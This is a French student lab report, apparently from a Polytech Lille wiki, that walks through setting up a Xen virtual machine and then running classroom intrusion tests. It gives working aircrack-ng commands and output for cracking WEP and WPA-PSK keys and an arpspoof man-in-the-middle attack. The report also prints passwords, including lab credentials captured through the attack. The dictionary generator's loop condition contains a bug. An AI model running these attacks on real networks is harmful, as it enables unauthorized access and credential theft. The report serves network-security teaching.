TP sysres IMA2a5 2020/2021 G7 : Différence entre versions
(→Installation de la machine virtuelle Xen) |
(→Configuration de la VM) |
||
| Ligne 48 : | Ligne 48 : | ||
brctl show | brctl show | ||
bridge name bridge id STP enabled interfaces | bridge name bridge id STP enabled interfaces | ||
| − | IMA2a5 8000.34800d508a83 no ether1 | + | '''IMA2a5 8000.34800d508a83 no ether1''' |
IMA5sc 8000.34800d508a82 no ether0 | IMA5sc 8000.34800d508a82 no ether0 | ||
L3MRIT 8000.b026289b2c9a no ether2 | L3MRIT 8000.b026289b2c9a no ether2 | ||
| Ligne 123 : | Ligne 123 : | ||
tmpfs 5120 0 5120 0% /run/lock | tmpfs 5120 0 5120 0% /run/lock | ||
tmpfs 306280 0 306280 0% /dev/shm | tmpfs 306280 0 306280 0% /dev/shm | ||
| − | /dev/xvdb1 10255636 36872 9678092 1% /home | + | '''/dev/xvdb1 10255636 36872 9678092 1% /home''' |
| − | /dev/xvdb2 10255636 315536 9399428 4% /var | + | '''/dev/xvdb2 10255636 315536 9399428 4% /var''' |
On peut vérifier que la VM est prête | On peut vérifier que la VM est prête | ||
| Ligne 132 : | Ligne 132 : | ||
boeing 1 256 1 -b---- 185.5 | boeing 1 256 1 -b---- 185.5 | ||
NightHawk 3 1024 1 -b---- 826.8 | NightHawk 3 1024 1 -b---- 826.8 | ||
| − | hawker 4 1024 1 -b---- 776.9 | + | '''hawker 4 1024 1 -b---- 776.9''' |
blackbird 5 256 1 -b---- 640.4 | blackbird 5 256 1 -b---- 640.4 | ||
Falcon 6 256 1 -b---- 691.7 | Falcon 6 256 1 -b---- 691.7 | ||
Version du 8 novembre 2020 à 15:53
Sommaire
Installation de la machine virtuelle Xen
Création de la VM
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info
Nom de ma machine : hawker
Adresse IP de la machine : 193.48.57.171
Adresse du routeur : 193.48.57.163
Le répertoire des disques virtuels : /usr/local/xen
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker
Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/
La distribution stable courant : http://proxy.polytech-lille.fr:3128
xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force
En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.
Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx
Via la commande passwd, j'ai changé le mot de passe par "glopglop"
Configuration de la VM
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau. Je récupère le nom du bridge "IMA2a5"
brctl show bridge name bridge id STP enabled interfaces IMA2a5 8000.34800d508a83 no ether1 IMA5sc 8000.34800d508a82 no ether0 L3MRIT 8000.b026289b2c9a no ether2 Trunk 8000.4cd98fa49258 no ether4 bridgeGIS 8000.4cd98fa49258 no vlan502
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'
vcpus = '1'
memory = '1024'
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]
name = 'hawker'
vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'
J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg xl console hawker
Je crée deux partitions var et home qui seront reliés à ma MV
lvcreate -L10G -n hawker-var virtual lvcreate -L10G -n hawker-home virtual
Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home mke2fs /dev/virtual/hawker-var
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg pour qu'elles deviennent ses partitions.
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
'phy:/dev/virtual/hawker-home,xvdb1,w',
'phy:/dev/virtual/hawker-var,xvdb2,w',
]
Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker xl create /etc/xen/hawker.cfg
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 #/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mount /dev/xvdb2 /mnt rm -rf /mnt/lock rm -rf /mnt/log rm -rf /mnt/run mv /var/* /mnt vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on udev 483904 0 483904 0% /dev tmpfs 100712 120 100592 1% /run /dev/xvda2 4062912 791352 3045464 21% / tmpfs 5120 0 5120 0% /run/lock tmpfs 306280 0 306280 0% /dev/shm /dev/xvdb1 10255636 36872 9678092 1% /home /dev/xvdb2 10255636 315536 9399428 4% /var
On peut vérifier que la VM est prête
xl list Name ID Mem VCPUs State Time(s) Domain-0 0 4046 4 r----- 6978.3 boeing 1 256 1 -b---- 185.5 NightHawk 3 1024 1 -b---- 826.8 hawker 4 1024 1 -b---- 776.9 blackbird 5 256 1 -b---- 640.4 Falcon 6 256 1 -b---- 691.7 rafale 8 256 1 -b---- 606.0 mirage 12 1024 1 -b---- 668.6 alpha-jet 13 256 1 -b---- 591.4 concorde 19 1024 1 -b---- 148.5 oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.
Tests d'intrusion
Cassage de clef WEP d’un point d’accès WiFi
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.
Je dois trouver le point d’accès : canal et nom des réseaux.
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.
Dans notre cas, la carte Wi-fi se place en observateur du réseau.
Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng PHY Interface Driver Chipset phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.
root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng PHY Interface Driver Chipset phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap Opening lcrack-01.capse wait…
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.
Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%
Cassage de mot de passe WPA-PSK par force brute
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon -rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.
int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more 00000000 00000001 00000002 00000003 00000004 root@zabeth09:~# ./dico | tail 99999995 99999996 99999997 99999998 99999999
Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/ root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt -rw-r--r-- 1 root root 101 Nov 4 17:09 main.c -rwxr-xr-x 1 root root 17K Nov 4 17:09 dico -rw-r--r-- 1 root root 430M Nov 4 17:15 xaa -rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]
La clé se trouvait dans les 1er 10 % de dico. On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement. Il est logique que celui-ci nous donne aucune clé en réponse.
root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.
Attaque de type "homme au milieu" par usurpation ARP
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local
- dsniff : écoute de mots de passe pour différents protocoles
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r default via 172.26.145.254 dev eth0 onlink 169.254.0.0/16 dev eth0 scope link metric 1000 172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09 PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes 64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms 64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms --- zabeth09 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.
- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward
J'utilise la commande arpsppof, en prenant les informations collectées au début. Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254 5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1 5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1 5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1 5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
Lors de cette étape toujours en cours, je lance un second terminal. Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1 root@dorade:/home/pifou# wireshark
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr
